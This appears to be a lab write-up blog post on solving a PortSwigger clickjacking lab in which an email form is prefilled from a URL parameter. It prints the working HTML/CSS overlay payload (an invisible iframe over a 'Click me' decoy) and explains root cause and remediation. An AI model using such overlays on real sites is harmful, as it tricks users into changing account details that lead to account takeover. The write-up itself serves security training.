June 23, 2026
One Pixel Off: My Second Clickjacking Lab on PortSwigger
After getting through the first clickjacking lab, I moved to a slightly more advanced variant: this one prefills a form value straight from…

By Diya
5 min read
After getting through the first clickjacking lab, I moved to a slightly more advanced variant: this one prefills a form value straight from a URL parameter, so there's no need for any script to fill anything in, just framing the page correctly and getting a victim to click. This lab ended up teaching me something I didn't expect about how a decoy element's size depends on the text sitting inside it.
Category: Clickjacking
Difficulty: Apprentice
Lab Link: Clickjacking with form input data prefilled from a URL parameter
Objective
Craft some HTML that frames the account page and fools the user into updating their email address by clicking on a "Click me" decoy. The lab is solved when the email address is changed.
Vulnerability Overview
This lab extends the basic clickjacking vulnerability with an added twist: the target page's email input field can be prepopulated through a URL query parameter, so the attacker doesn't need to run any script inside the iframe to set the value beforehand, it's already there the moment the page loads. The same lack of framing protection applies here too, no X-Frame-Options or Content-Security-Policy header, which means the account page can still be embedded and disguised behind a decoy element just like in the previous lab.
Steps to Reproduce
- The lab provides credentials to log in with:
wiener/peter. After logging in, the My Account page shows the current email address and an Update email form, with the Update email button sitting right below the input field.
- Same as the previous lab, the exploit server's Body field starts with a placeholder,
Hello, world!, which gets replaced with the clickjacking payload.
- This time the iframe's
srcincludes anemailquery parameter pointing at an attacker-controlled address. Loading the iframe automatically populates the Email field with that value, so all that's left is tricking the victim into clicking Update email.
As with the first lab, position alignment was tested with a low opacity first, using a decoy text that wasn't necessarily the final one:
<style>
iframe {
position:relative;
width:500px;
height:700px;
opacity:0.1;
z-index:2;
}
div {
position:absolute;
top:510px;
left:80px;
z-index:1;
}
</style>
<div>Test me</div>
<iframe src="https://0af70078047b25a280425d6900ca0093.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe><style>
iframe {
position:relative;
width:500px;
height:700px;
opacity:0.1;
z-index:2;
}
div {
position:absolute;
top:510px;
left:80px;
z-index:1;
}
</style>
<div>Test me</div>
<iframe src="https://0af70078047b25a280425d6900ca0093.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>
After storing and viewing the exploit, the Email field was already showing the attacker's address through the iframe, and the "Test me" text lined up closely with the Update email button, hovering over it changed the cursor to a pointer.
- This is where the lab got interesting. Once the alignment looked confirmed, the decoy text was changed from "Test me" to "Click me" and the lab was delivered to the victim, but it kept coming back as not solved. Checking the access log on the exploit server confirmed the victim was successfully fetching the exploit page every time, so delivery itself wasn't the problem.
The actual issue turned out to be the decoy <div> itself. Since it has no fixed width, its clickable area only covers as much space as the text inside it occupies. "Test me" and "Click me" are different lengths, so swapping the text after confirming alignment quietly shifted the effective click area, even though the top and left values stayed exactly the same. The fix was simple once spotted: re-verify the alignment using the actual final text, not the placeholder one, before locking in the opacity.
- With "Click me" as the decoy text and the alignment re-confirmed, the opacity was dropped to 0.0001 and the email parameter was swapped to a value that hadn't been used during testing, following the lab's own hint about not reusing the same address for the final exploit.
Delivering this version to the victim solved the lab right away.
Technical Evidence
Final payload delivered to the victim:
<style>
iframe {
position:relative;
width:500px;
height:700px;
opacity:0.0001;
z-index:2;
}
div {
position:absolute;
top:505px;
left:80px;
z-index:1;
}
</style>
<div>Click me</div>
<iframe src="https://0af70078047b25a280425d6900ca0093.web-security-academy.net/my-account?email=hacker2@attacker-website.com"></iframe><style>
iframe {
position:relative;
width:500px;
height:700px;
opacity:0.0001;
z-index:2;
}
div {
position:absolute;
top:505px;
left:80px;
z-index:1;
}
</style>
<div>Click me</div>
<iframe src="https://0af70078047b25a280425d6900ca0093.web-security-academy.net/my-account?email=hacker2@attacker-website.com"></iframe>The iframe loads the account page with the email parameter already embedded in the URL, so the form is prefilled the moment it renders, no script execution required inside the frame at all. The decoy div sits exactly over the Update email button, and because it was re-verified with the actual "Click me" text instead of the placeholder used during early testing, the click area matches what the victim actually sees and clicks.
Root Cause
Two weaknesses combine here. First, the same framing issue as the previous lab, no X-Frame-Options and no Content-Security-Policy with a frame-ancestors directive, so the account page can be embedded in a cross-origin iframe at all. Second, the application accepts and applies form input straight from a URL query parameter without requiring any interaction beyond the final submit click, which makes it trivial to prepare a fully attacker-controlled form state before the victim ever sees the page.
Impact
Because the email field is prefilled directly from the URL, the attacker doesn't need any scripting to set up the malicious value, just a crafted link. Combined with the clickjacking overlay, a single click from the victim is enough to change their account's email address to one the attacker controls. From there, the attacker could trigger a password reset flow and take over the account entirely, since reset emails would now go to an address they own.
Remediation
To prevent this type of vulnerability, the application should:
- Set the
X-Frame-Optionsheader toDENYorSAMEORIGINon sensitive pages, so browsers refuse to render them inside a frame from another origin. - Implement a
Content-Security-Policyheader with aframe-ancestorsdirective, the more modern and flexible replacement forX-Frame-Options. - Avoid prefilling sensitive fields from URL parameters, especially fields tied to account security like email or password, since this removes a meaningful step a user would otherwise have to take consciously.
- Require re-authentication or a confirmation step for sensitive changes like updating an email address, regardless of framing protections.
Conclusion
This lab took longer to solve than expected, not because the concept was hard, but because of a detail that's easy to overlook: a decoy element's clickable area depends on its content, so testing alignment with one piece of text doesn't guarantee the same alignment holds once that text changes for the final payload. Lesson learned, always re-check positioning with the exact text that's going out the door, not just a placeholder used during testing.